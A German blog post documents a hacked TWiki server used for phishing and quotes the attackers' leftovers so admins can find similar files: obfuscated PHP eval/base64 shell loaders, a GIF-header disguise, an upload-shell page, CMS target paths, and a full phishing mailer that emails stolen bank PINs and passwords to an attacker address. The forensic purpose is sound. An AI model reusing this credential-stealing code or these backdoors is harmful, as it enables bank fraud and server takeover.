Nebenwirkungen eines twiki-Hacks

Eine twiki-Instanz auf unserem Server wurde für Phishing-Zwecke missbraucht. Wir wurden durch unseren Serverprovider darauf aufmerksam gemacht. Dieser wiederum wurde von clean-mx.de kontaktiert. Dumm lief, dass uns der Provider Montag früh die IP abdrehte weil die erste Meldung dazu nicht durchkam.

Folgende exemplarische Dokumentation ist keine fachgerechte Anleitung zum sauberen Entfernen solcher unerwünschter Zu- und Eingriffe! Es mag lediglich der Identifizierung von Dateien in ähnlichen Fällen helfen.

In der Tat befanden sich im root-Verzeichnis eines vhosts html-Dateien mit redirects auf gefakte Paypal-Portale. Es wurde versucht, über den Server Emails zu verschicken, doch das ist bei uns zu gut unterbunden.

Bei der weiteren Suche tauchten weitere Dateien im root-Verzeichnis und weiteren Unterverzeichnissen dieser Subdomain auf, alle in lesbaren Bereichen und alle unter www-data. Die Serverkonfiguration in diesem Bereich war definitiv falsch, dennoch verwundert, dass so viele Dateien an unterschiedlichen Orten und redundant abgelegt wurden.

Die Dateinamen tun nicht viel zur Sache, eher die Tools die wir vorfanden. Wobei wir noch immer nicht genau das Einfallstor lokalisieren konnten, den Anfang machte vermutlich um einen über URL-Parameter angelegte Datei mit einem einfachen Upload-Formular.

Die Datein hatten die Endungen *.txt, *.jpg, *.php, *.pl. Alle ausser die Letzten waren ebenso PHP-Dateien, teilweise beginnend mit GIF89a<?php. Auffallend waren mehrere Dateien mit Namen wie x212.php.php.j, wobei die Angaben rund um .php.php. variierten.

Neben dem Server-Root waren unter folgenden Orten ebenso überflüssige Dateien zu finden:

  • /lib/TWiki/Engine/index.php
  • /lib/simple.php
  • /lib/TWiki/I18N/ das ganze Verzeichnis abseits der ursprünglichen Dateien
  • /bin/logos/ das ganze Verzeichnis abseits der ursprünglichen Dateien

Anscheinend wurden keine vorhandenen twiki-Dateien manipuliert.

Hinterlassene Dateien der Hacker

Die Dateien sind mit grep relativ einfach zu finden, wenn man weiss wonach man suchen muss. Hier Dateien die dem Hack dienten, entweder Upload-Formulare bereitstellen, ganze Consolen öffnen, etc.

<?php eval(gzinflate(base64_decode('1RprcxM58jtV/AehyyZ2rc
...
JtUq3wF669oy75/Tft/GP8B')));?>

Mit falschem GIF-Header:

GIF89a<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDA
...
wcmU+Ijs=')); ?>

Obige Datei produziert zum Beispiel diesen Code:

<body style='background:#000;color:#64D300;font-size:14px;'><title>-= R@crew =-</title><br><b></b><br><b>User : uid=() gid=()</b><br><b>Uname : </b><br><form enctype=multipart/form-data action method=POST><b>Upload File</b><br><input type=hidden name=submit><input type=file name=userfile size=28><br><b>New name: </b><input type=text size=15 name=newname class=ta><input type=submit class=bt value=Upload></form><pre></pre>

Die letzte Datei kann man mit diesem Befehl in den Server-Logs finden, dabei wird rekursiv (-r) und ohne binären Dateien (-I) gesucht:

grep -rIH /var/log/apache2/[YOURSERVER].access_log -e "^GIF89a\<\?" > gifNoBin.txt &

Ebenso war eine Datei namens simplepie1.php verschlüsselt, hinter der sich vermutlich eine Serverkonsole verbarg. Jedenfalls finden sich darin Befehle wie getenv(), php_uname() und getcwd(), die allesamt nicht für den üblichen Gebrauch gedacht sind.

Dateien der Hacker zum weiteren Vordringen

Sobald die obigen verschlüsselten Hilfsdateien bereitstehen, werden weitere hochgeladen, diese sind dann lesbar, wie zum Beispiel inurlbr.php, die eine klare Sprache sprechen (am Ende der Datei)

                           ______                                  
                        .-.      .-.                               
                       /            \                              
                      |  [ INURLBR ] |                             
                      |,  .-.  .-.  ,|                             
                      | )(|_/  \|_)( |                             
                      |/     /\     \|                             
              _       (_     ^^     _)                             
      _\ ____) \_______\__|IIIIII|__/_______________________________     
     (_)[___]{}<________|-\IIIIII/-|__INURL__INURL__INURL___________\    
       /     )_/        \          /                               
                         \ ______ /

Eine Datei mit Informationen zu WordPress-Instanzen

%2Findex.php%2Fcomponent%2Fusers%2F%3Fview%3Dreset
%2Fwp-content%2Fthemes%2Fausea%2F
%2Findex.php%2Feventi.html
view%3Darticle%20Itemid%3D140
%2Fcomponents%2Fcom_user%2Fview%2Fremind
%22%2Fcomponent%2Fusers%2F%3Fview%3Dlogin%22
%2Fplugins%2Feditors%2Fjckeditor%2Ftypography%2Ftypography2.php
%2Fcomponents%2Fcom_search%2Fviews%2Fsearch%2Fview.html.php
Index%20of%20%2Fjdownloads%2FCategory%2F
%2Fwp-content%2Fthemes%2Falyeska%2Fframework%2F

Weitere gefundene Tools:

  • WSO shell, eine PHP-basierte Konsole mit Serverzugriff. War versteckt als *.txt-Datei und spielte mit einer  *.pho-Datei zusammen.
  • Eine  *.pl-Datei zu  IRC-Channels zu verbinden.
  • /input/passwords.txt mit Standard-Passwörtern wie “1234568” zum Durchtesten

Mit diesen werden am Server Dateien verteilt, die direkt dem Phishing dienen.

Datein der Hacker für das Phishing

Einer der einzeiligen redirect-Files:

<meta http-equiv="refresh" content="0; url=[ANDERER GEHACKTER SERVER]" />

Zum Versenden geklauter Daten, die Informationen kommen von anderen Dateien über URL-Parameter (Leerzeilen gelöscht), es gibt davon mehrere Arten mit verschiedenen Strukturen:

<?
$adddate=date("D M d, Y g:i a");
$ip = getenv("REMOTE_ADDR");
$host = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$message .= "\n";
$message .= "Customer Number: ".$_POST['number']."\n";
$message .= "PIN: ".$_POST['pin']."\n";
$message .= "Password: ".$_POST['password']."\n";
$message .= "Phone Number: ".$_POST['mobile']."\n";
$message .= "\n";
$message .= "Date: ".$adddate."\n";
$message .= "Host: ".$host."\n";
$message .= "------------- Created By NED ---------------\n";
$recipient = "nedbanky@gmail.com";
$subject = "Nedbank Fusion - ".$_POST['number']."\n";
$from = "$ip@resultz.com";
$headers .= $_POST['eMailAdd']."\n";
$headers .= "MIME-Version: 1.0\n";
$headers = "From: $from\r\n";
$headers .= 'Bcc: [EMAILADRESSE DER HACKER]' . "\r\n";
	 mail("$to", "$subject", $message);
if (mail($recipient,$subject,$message,$headers))
	   {
		   header("Location: [BANK-WEBSITE]");
	   }
else
    	   {
 		echo "ERROR! Please go back and try again.";
  	   }
?>

Zusätzlich liegen auch noch Hilfsdateien herum wie application.htm welche hauptsächlich daraus bestehen ein window.self.close() einzuleiten.


No Comments

Leave a Comment